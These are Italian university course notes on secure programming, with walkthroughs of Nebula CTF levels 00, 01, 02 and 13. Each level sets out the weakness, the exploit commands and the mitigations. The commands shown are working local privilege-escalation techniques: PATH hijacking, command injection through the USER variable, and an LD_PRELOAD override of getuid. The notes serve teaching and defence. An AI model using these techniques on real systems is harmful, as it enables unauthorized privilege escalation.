

Università degli Studi di Salerno

Corso di Laurea Magistrale in Informatica

Appunti del corso

Programmazione Sicura

Tenuto da

Barbara Masucci

A cura di
Luigi Miranda

Anno Accademico 2023/2024

Indice

1	Terminologia	3
1.1	Asset	3
1.2	Minaccia	3
1.3	Attacante	4
2	Nebula	5
2.1	Level00	6
2.1.1	Obiettivo	6
2.1.2	Idea per risolvere la sfida	6
2.2	Level01	7
2.2.1	Obiettivo	7
2.2.2	Ispezione directory	7
2.2.3	Analisi del sorgente	7
2.2.4	Idea per risolvere la sfida	8
2.2.5	Sintesi comandi da eseguire	8
2.2.6	Debolezze	8
2.2.7	Mitigazioni	9
2.3	Level02	9
2.3.1	Obiettivo	9
2.3.2	Ispezione directory	10
2.3.3	Analisi del sorgente	10
2.3.4	Idea per risolvere la sfida	10
2.3.5	Sintesi comandi da eseguire	11
2.3.6	Debolezze	11
2.3.7	Mitigazioni	11
2.4	Level13	12
2.4.1	Obiettivo	12

2.4.2	Ispezione directory	13
2.4.3	Analisi del sorgente	13
2.4.4	Idea per risolvere la sfida	13
2.4.5	Sintesi dei comandi da eseguire	14
2.4.6	Debolezze	14
2.4.7	Mitigazioni	15

Capitolo 1

Terminologia

1.1 Asset

Un **asset** è un'entità generica che interagisce con il mondo circostante. Può essere un edificio, un computer, un algoritmo, una persona. Nell'ambito di questo corso l'asset è un **Software**. Una persona può interagire con un asset in tre modi:

- correttamente
- non correttamente, in modo involontario
- non correttamente, in modo volontario/malizioso

Un uso non corretto di un asset può portare a gravi danni come il furto, la modifica o distruzione di dati sensibili, la compromissione di servizi.

1.2 Minaccia

Una **minaccia** è una potenziale causa di incidente, che comporta un danno all'asset. Le minacce possono essere:

- accidentali
- dolose

Microsoft classifica le minacce con l'acronimo STRIDE:

- Spoofing

- Tampering
- Repudiation
- Information Disclosure
- Denial of Service
- Elevation of Privilege

1.3 Attaccante

Un **attaccante** tenta di interagire in modo malizioso con un asset con lo scopo di tramutare una minaccia in realtà. Talvolta un attaccante interagisce in modo non malizioso per stimare i livelli di sicurezza. Distinguiamo tre tipi di attaccanti:

- **White Hat**, fini non maliziosi
- **Black Hat**, fini maliziosi o tornaconto personale
- **Gray Hat**, viola asset e chiede denaro per sistemare la situazione

Capitolo 2

Nebula

Nebula è la prima macchina virtuale che studieremo in questo corso. Ci sono diversi livelli, noi affronteremo le sfide:

- Nebula 00
- Nebula 01
- Nebula 02
- Nebula 04
- Nebula 07
- Nebula 10
- Nebula 13

La macchina virtuale è scaricabile dal sito Exploit Education. Le sfide di nebula trattano l'iniezione locale e remota di codice.

Ogni macchina ha tre account:

- **Giocatore**, un utente con il ruolo di attaccante che può accedere con la coppia di credenziali:
 - username: levelN(N=00,01,02,ecc.)
 - password: levelN
- **vittima**, chiamati flagN(N=00,01,ecc.) rappresentano la vittima e presentano diversi tipi di vulnerabilità

- **Admin**, amministratore del sistema con credenziali:
 - username: nebula
 - password: nebula

Noi accederemo sempre come utente levelN, con l'obiettivo di:

- Elevare i privilegi
- Ottenere informazioni sensibili

Raggiunto l'obiettivo, si cattura la bandierina, per questo motivo le sfide prendono il nome di CTF.

2.1 Level00

2.1.1 Obiettivo

Eeguire `/bin/getflag` con privilegi di **flag00**.

2.1.2 Idea per risolvere la sfida

Usiamo comando:

```
find / -perm /u+s 2>/dev/null | grep flag00
```

Tra i vari risultati notiamo il file:

```
/bin/.../flag00
```

Visualizziamo i metadati del file trovato con il comando:

```
ls -l
```

Notiamo che è di proprietà di **flag00** e ha **SETUID** acceso. Mandiamo in esecuzione il file con il comando:

```
/bin/.../flag00
```

Verremo autenticati come utente flag00 e quindi vinceremo la sfida eseguendo:

```
/bin/getflag
```

2.2 Level01

2.2.1 Obiettivo

Eseguire `/bin/getflag` con privilegi di **flag01**.

2.2.2 Ispezione directory

Controlliamo le directory `/home/level01` e `/home/flag01`. Notiamo che `/home/flag01` contiene l'eseguibile **flag01**. Analizziamo i metadati del file **flag01** con:

```
ls -l
```

Si scopre che il file in questione è di proprietà di **flag01** e ha **SETUID** acceso.

2.2.3 Analisi del sorgente

- Imposta tutti gli user ID al valore effettivo (elevazione dell'utente al valore associato a flag01)
- Imposta tutti i group ID al valore effettivo (elevazione del gruppo al valore associato a level01)
- Esegue un comando, tramite la funzione di libreria **system()**:

```
system("/usr/bin/env echo and now what?");
```

Leggendo il manuale di **system()** capiamo che in questa sfida il problema è l'utilizzo della **system()** in un programma con **SETUID** acceso, e che giocando con le variabili di ambiente si può violare la sicurezza del programma. Un altro punto importante è che la **system()** non funziona correttamente se `/bin/sh` corrisponde a **bash**. Quindi controlliamo con il comando:

```
ls -l /bin/sh
```

e notiamo proprio che sh punta a bash.

La **system()** non fa altro che utilizzare sh per eseguire un comando, tale comando viene eseguito da un processo figlio che eredita i privilegi del padre. Dopodiché `/usr/bin/env` esegue il comando successivo ovvero echo, quindi per vincere la sfida ci basta inoculare `/bin/getflag` al posto di echo.

2.2.4 Idea per risolvere la sfida

Copiamo **/bin/getflag** in una cartella temporanea **tmp** e diamogli nome **echo** con il comando:

```
cp /bin/getflag /tmp/echo
```

Alteriamo il percorso di ricerca delle variabili d'ambiente in modo da preporre **/tmp** alla lista delle variabili d'ambiente con il comando:

```
PATH=/tmp:$PATH
```

Questo è quello che succede:

- Il comando `env` prova a caricare il file eseguibile `echo`
- Poiché `echo` non ha un percorso assoluto, `sh` usa i percorsi di ricerca per individuare il file da eseguire
- `sh` individua `/tmp/echo` come primo candidato all'esecuzione, dato che l'abbiamo posto per primo
- `sh` esegue `/tmp/echo` con i privilegi dell'utente `flag01`

2.2.5 Sintesi comandi da eseguire

I comandi da eseguire sul terminale della macchina sono i seguenti:

```
# copia getflag in echo
cp /bin/getflag /tmp/echo
# aggiorna PATH
PATH=/tmp:$PATH
# esegui flag01
/home/flag01/flag01
```

Vinciamo la sfida.

2.2.6 Debolezze

- privilegi di esecuzione ingiustamente elevati
- versione `bash` che non abbassa i privilegi di esecuzione
- manipolazione variabile `PATH`

2.2.7 Mitigazioni

1. Spegner bit SETUID:

- autenticarsi come root e avviare una shell con il comando:

```
sudo -i
```

- spegnere SETUID con il comando:

```
chmod u-s /home/flag01/flag01
```

- Eseguiamo flag01 e noteremo che l'attacco non va a buon fine.

2. Modificare sorgente level01.c:

- usare putenv() per rimuovere /tmp da PATH:

```
putenv("PATH=/bin:/sbin:/usr/bin:/usr/sbin");
```

- compiliamo con il comando:

```
gcc -o flag01-env level01-env.c
```

- impostiamo i privilegi sul nuovo file con:

```
chown flag01:level01 /home/flag01/flag01-env
```

```
chmod u+s /home/flag01/flag01-env
```

- Impostiamo PATH e riproviamo l'attacco

```
PATh=/tmp:$PATH
```

- Eseguiamo flag01-env e noteremo che l'attacco non va a buon fine.

2.3 Level02

2.3.1 Obiettivo

Eseguire **/bin/getflag** con privilegi di **flag02**.

2.3.2 Ispezione directory

Controlliamo le directory `/home/level02` e `/home/flag02`. Notiamo che `/home/flag02` contiene l'eseguibile **flag02**. Analizziamo i metadati del file **flag02** con:

```
ls -l
```

Si scopre che il file in questione è di proprietà di **flag02** e ha **SETUID** acceso.

2.3.3 Analisi del sorgente

- Imposta tutti gli user ID al valore effettivo (elevazione dell'utente al valore associato a **flag02**).
- Imposta tutti i group ID al valore effettivo (elevazione del gruppo al valore associato a **level02**).
- Alloca un buffer e ci scrive dentro alcune cose, tra cui il valore di una variabile di ambiente (**USER**).
- Stampa una stringa e il contenuto del buffer.
- Esegue il comando contenuto nel buffer tramite `system`.

La funzione di libreria **asprintf()**:

- Alloca un buffer di lunghezza adeguata.
- Copia una stringa nel buffer utilizzando la funzione **sprintf()**.
- Restituisce il numero di caratteri copiati (e -1 in caso di errore).

Nel sorgente `level02.c` non è possibile usare l'iniezione di comandi tramite `PATH`. Al contrario di quanto accadeva in `level01.c`, in `level02.c` il path del comando è scritto esplicitamente: **/bin/echo**

2.3.4 Idea per risolvere la sfida

L'idea qui è quella di modificare **USER** in modo da modificare buffer. In `BASH` è possibile concatenare due comandi con il carattere separatore `;` quindi:

```
echo comando1; echo comando 2
```

Impostiamo USER come segue:

```
USER='level02; /bin/getflag'
```

Se eseguiamo flag02 l'attacco fallisce perché dopo `/bin/echo level02; /bin/getflag` c'è la stringa **is cool**. Per evitare questo usiamo il `#` per commentare. Quindi sovrascriviamo USER come segue:

```
USER='level02; /bin/getflag #'
```

2.3.5 Sintesi comandi da eseguire

```
# Modifica variabile USER
USER='level02; /bin/getflag #'
# Esegui flag02
/home/flag02/flag02
```

Vinciamo la sfida.

2.3.6 Debolezze

- privilegi di esecuzione ingiustamente elevati
- versione bash che non abbassa i privilegi di esecuzione
- non vengono neutralizzati i caratteri speciali

2.3.7 Mitigazioni

1. Spegner bit SETUID:

- autenticarsi come root e avviare una shell con il comando:

```
sudo -i
```

- spegnere SETUID con il comando:

```
chmod u-s /home/flag01/flag01
```

- Eseguiamo flag01 e noteremo che l'attacco non va a buon fine.

2. Ottenere username corrente con funzioni di libreria o sistema. Modifichiamo quindi il sorgente level02.c con la funzione di sistema **getlogin()**, che restituisce il puntatore ad una stringa contenete il nome dell'utente che sta lanciando il processo.

```
char *username;
username=getlogin();
asprintf(&buffer, "/bin/echo %s is cool", username);
```

Compiliamo il nuovo sorgente con:

```
gcc -o flag02-getlogin level02-getlogin.c
```

Impostiamo i privilegi su flag02-getlogin con:

```
chown flag02:level02 /path/to/flag02-getlogin
chmod 4750 /path/to/flag02-getlogin
(4750 corrisponde a rwsr-x---
```

Eseguiamo flag02-getlogin, non vinciamo la sfida.

3. Un'altra mitigazione si effettua tramite la funzione **strpbrk()**. Aggiungiamo nel codice:

```
const char invalid_chars [] = "!\"$%&'()*+,-<=>?@
[\\]^_`{|}";
```

e dopo la **asprintf()**

```
if ((strpbrk(buffer, invalid_chars)) != NULL) {
    perror("strpbrk");
    exit(EXIT_FAILURE);
}
```

Quindi compiliamo e impostiamo i privilegi come per la prima mitigazione ed eseguiamo. La sfida non verrà vinta.

2.4 Level13

2.4.1 Obiettivo

- Recupero della password (token) dell'utente **flag13**, aggirando il controllo di sicurezza del programma **/home/flag13/flag13**.

- Autenticazione come utente **flag13**.
- Esecuzione del programma **/bin/getflag** come utente **flag13**.

2.4.2 Ispezione directory

Controlliamo le directory **/home/level13** e **/home/flag13**. Notiamo che **/home/flag13** contiene l'eseguibile **flag13**. Analizziamo i metadati del file **flag13** con:

```
ls -l
```

Si scopre che il file in questione è di proprietà di **flag13** e ha **SETUID** acceso.

2.4.3 Analisi del sorgente

Viene controllato se UID è diverso da 1000, e in tal caso si stampa un messaggio di errore e si esce dal programma. Altrimenti viene generato il token e viene stampato a video.

2.4.4 Idea per risolvere la sfida

Usando il comando **man environ**, scopriamo che alcune variabili di ambiente, tra cui **LD_LIBRARY_PATH**, **LD_PRELOAD** possono influenzare il comportamento del linker dinamico, ovvero parte del SO che carica e linka le librerie condivise necessarie a un eseguibile a runtime. Scopriamo che **LD_PRELOAD** contiene un elenco di librerie condivise (shared object) separato da :

In particolare **LD_PRELOAD** viene utilizzata per ridefinire dinamicamente alcune funzioni (function overriding) senza dover ricompilare i sorgenti. Possiamo usare la variabile **LD_PRELOAD** per caricare in anticipo una libreria condivisa che implementa la funzione del controllo degli accessi del programma **/home/flag13/flag13**. Questa libreria condivisa va scritta da zero, e in particolare, reimposta **getuid()** per superare il controllo degli accessi.

Scriviamo il file **getuid.c**. Generiamo la libreria condivisa **getuid.so** con il comando:

```
gcc -shared -fPIC -o getuid.so getuid.c
```

- **-shared**: genera un oggetto linkabile a tempo di esecuzione e condivisibile con altri oggetti.

- **-fPIC**: genera codice indipendente dalla posizione (Position Independent Code), rilocabile ad un indirizzo di memoria arbitrario.

Carichiamo in anticipo la libreria condivisa `getuid.so` modificando la variabile **LD_PRELOAD** con il comando:

```
export LD_PRELOAD=./getuid.so
```

Proviamo l'attacco ma fallisce, questo perché, se l'eseguibile è SETUID, deve esserlo anche la libreria condivisa. La soluzione è quella di rimuovere SETUID da `flag13`. Questo lo facciamo con una semplice copia tramite il comando:

```
cp /home/flag13/flag13 /home/level13
```

2.4.5 Sintesi dei comandi da eseguire

```
# creiamo il file getuid.c
# compiliamo getuid.c
gcc -shared -fPIC -o getuid.so getuid.c
# carichiamo la nuova getuid.so
export LD_PRELOAD=./getuid.so
# copiamo flag13 per spegnere SETUID
cp /home/flag13/flag13 /home/level13
# eseguiamo flag13 dalla directory level13
/home/level13/flag13
```

Otteniamo il token (esempio sulla mia macchina: `b705702b-76a8-42b0-8844-3adabbe5ac58`). Accediamo con il token come `flag13`, eseguiamo `/bin/getflag` e vinciamo la sfida.

2.4.6 Debolezze

- Privilegi di esecuzione ingiustamente elevati.
- Versione di `bash` che non abbassa i privilegi di esecuzione.
- Manipolazione di una variabile di ambiente (**LD_PRELOAD**) per sostituire **getuid()** con una funzione che aggira il controllo di autenticazione.
- Bypass dell'autenticazione tramite spoofing: L'attaccante può riprodurre il token di autenticazione di un altro utente.

2.4.7 Mitigazioni

1. Spegner bit SETUID:

- autenticarsi come root e avviare una shell con il comando:

```
sudo -i
```

- spegnere SETUID con il comando:

```
chmod u-s /home/flag01/flag01
```

- Eseguiamo flag01 e noteremo che l'attacco non va a buon fine.

2. Non ha senso ripulire la variabile LD_PRELOAD come fatto per PATH in level01, perché LD_PRELOAD agisce prima del caricamento del programma. Infatti nel momento in cui il processo esegue putenv() su LD_PRELOAD, la funzione getuid() è già stata iniettata da tempo! La mitigazione qui è banale, ovvero non rendere noto il valore 1000 all'attaccante.